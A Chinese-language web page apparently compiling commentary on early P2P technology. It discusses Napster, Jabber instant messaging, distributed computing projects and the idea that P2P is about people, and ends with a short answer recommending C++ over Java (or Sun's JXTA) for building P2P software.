参与P2P峰会的有媒体不断报道的那些提供文件交换服务如Napster、Gnutella、Freenet的开发者,也有那些试图挖掘P2P分布计算能力的公司和组织如Popular Power、SETI@home、distributed.net等的开发者。后面的三家公司希望使用P2P技术集中那些联接在网络上的电脑的空闲的CPU时间片断、内存空间、硬盘空间来替代“超级计算机”。其它正在进行的P2P应用还有,IBM、微软、Ariba也在合作开展一个名为UDDI的项目以将B2B电子商务标准化;Eazel正在建立下一代的Linux桌面;Jabber已经开发了一种基于XML、开放的即时讯息标准,Jabber被认为是建立了未来使用P2P数据交换的标准;由Lotus Notes的开发者创建的Groove试图“帮助人们以全新的方式沟通”;英特尔也在推广它的P2P技术以帮助更有效地使用芯片的计算能力。

列这样一个名单有一点枯燥,尤其是对于那些对于具体细节没有太多兴趣的读者,但这又是必要的。因为这些描述可以让我们更全面的了解。

(6)尚未被了解的P2P

Napster是与设备相关的,用户连接到到由它创建的P2P网络上是为了获取Mp3歌曲文件。但是对于即时讯息这一类P2P应用来说是完全不同的,别人连接的目的是和另一个Peer交流,而不必管他使用的是电脑、手持电脑或者手机。P2P提供了在网络上与设备无关的实时交流的能力。

这种将把用户实时的连接起来的能力是P2P最令人感到激动的特性。事实上我们可以从AOL的AIM、国内Oicq受欢迎的程度认识到这个事实。

能够实时地寻找和联络需要的人是商业应用的基本要求,电话可以做到这一点,而在网络上最常用的E-mail并不能做到这一点。因此,即时讯息将不仅仅是一个有趣的服务,更多的它将是下一个最基本的互联网商业工具。即时讯息现在看起来可能成为诸如客户服务、供应链管理等商业应用的平台。开发了一个开放源码的基于XML和Java即时讯息服务的Jabber似乎正是创建了一个这样的平台。Jabber的开发者似乎刻意集中了互联网现有的所有激动人心的东西:P2P、Java、XML和开放源码。它是不是有这种潜力呢?我们最好拭目以待,但Jabber的模式至少要比Napster要清晰得多。

Negroponte在其《数字化生存》中曾经有一个着名的论述,“网络上的东西将比人要多”。P2P将使得这些“东西”之间的直接交流成为可能,网络上每个设备都是“活跃”的,而不是像过去那样有部分是非常活跃,而有的则被动的,有时候直接交流的那些设备可能都是某一个用户自己的,譬如说掌上电脑和台式电脑的数据同步是最好的例子。如果用户的掌上电脑上有些数据和内容是台式电脑上没有的,台式电脑也应该能够向掌上电脑要求获取那些信息,这应该跟我们通过Napster到其他用户那儿去搜索和下载mp3歌曲一样。

最重要的一点是,不是网络上的节点数目而是这些节点如何参与网络决定网络是否强大、是否有价值。怎样使得网络上几亿的人和更多的设备都活跃地参与呢?P2P正是一系列架构、技术、策略的开端,它使得互联网的这一理想开始变为现实。现在人们看到的和预言的都只是冰山露出的一个小角,更多的还在水下。

(7)P2P中的P是人(People)!

Dave Winner的论断P2P中的P是人(people)!这可能是我读到的关于P2P最深刻的解读之一。

事实上,我们所处的真实生活是P2P的环境,人们可以和其他人直接地的交流。信息技术将我们带到了网络空间,在网络空间我们仍然希望还能够按照原来的P2P方式交流沟通。尽管互联网本质上是支持对等交流模式,但是网络的发展给对等交流增加了许多障碍。

正如许多技术专家所指出的,动态IP地址、_blank">防火墙、代理服务器从技术上使得对等连接变得很困难。更不用说目前的网络主导模式已经发展成为服务器/客户端模式,人们在网络上只能被动的接受那些大公司诸如Yahoo!、ABCnews.com等提供的信息,交流是非常困难的。(当然,在现实生活中诸如空间、社会等级等也束缚了人们的对等交流。但是如果网络能够使我们看到对等交流的可能性,为什么不去追求?)

可以这样类比,互联网的出现和电话的发明是具有同样的意义的,但是互联网最开始的主要特征是非实时的,更类似于传真,而没有提供像电话那样实时交流,现在P2P的即时讯息可能使得互联网上的实时交流变得和Web页面、E-mail那样普遍和不可或缺。

对于所有的P2P应用来说,最先要做的就是恢复互联网曾经失去的对等联网能力。这也正是Napster从概念上最大的缺陷。(email是具有P2P交流的特征的,但email缺乏实时交流的能力,它类似与传真,但我们还需要“电话”的。)

从“人”的角度上将,P2P发展的要点并不是P2P网络架构是如何,而是P2P将人们在网络上连接起来了,人们可以在网络这个更迅疾的媒介上处理那些需要沟通的问题。这是最重要的。尽管到今天还有人在怀疑互联网作为零售商业和B2B媒介的有效性,但是互联网已经从根本上改变了我们的交流方式是不需要任何讨论的。过分的谈了“纯粹的”的、完全消除控制的P2P是毫无意义的。中心化或者非中心化都只是工具,都是为了创造出使人们可以更有效地沟通的工具。

人类在现实生活中的经验至今仍只有极少的部分被应用到网络上,如新闻、B2C、B2B。现在,人们最常使用的P2P被移植到了网络空间。P2P可能改变一些我们已经熟知的、习惯了的产品和服务,也会创造更多。

究竟会出现些什么?预言未来的最好办法是去创造。

⑽ p2p 用JAVA写好,还是用VC++好

建议C++。因为跨平台的关系,java无法去过细的去实现底层的细节。而Java虚拟机也未能覆盖那么多范围——虽然这种情况可能会最终有所改观,但总体当前实现有可能性不大。

C++是实现这类程序的再方便不过的工具。相关的API都是用C写的,使用起来很方便。

如果一定要用Java,可以参看SUN公司在2000年就推出了JXTA,该技术的目的是为P2P的网络应用开发提供一个统一的平台,而且为了鼓励和支持该技术的发展,JXTA项目采用了开放源码的方式,因此吸引了大量业界人士参与到JXTA技术的研究与应用当中,你可以从这方面入手来查找资料。

热点内容
粉土压缩模量 发布:2024-05-02 07:53:59 浏览:805
国都证券初始密码是多少 发布:2024-05-02 07:46:39 浏览:109
shell脚本和linux命令行 发布:2024-05-02 07:37:54 浏览:968
自己的服务器搭建微信小程序商城 发布:2024-05-02 07:36:26 浏览:426
php单行注释 发布:2024-05-02 07:36:22 浏览:958
买车哪些配置必备 发布:2024-05-02 07:30:20 浏览:52
华为手机的自带铃声文件夹 发布:2024-05-02 07:20:14 浏览:501
xp系统开机密码怎么设置 发布:2024-05-02 06:49:48 浏览:759
柱加密区公式 发布:2024-05-02 06:40:19 浏览:4
java字节转换 发布:2024-05-02 06:40:11 浏览:687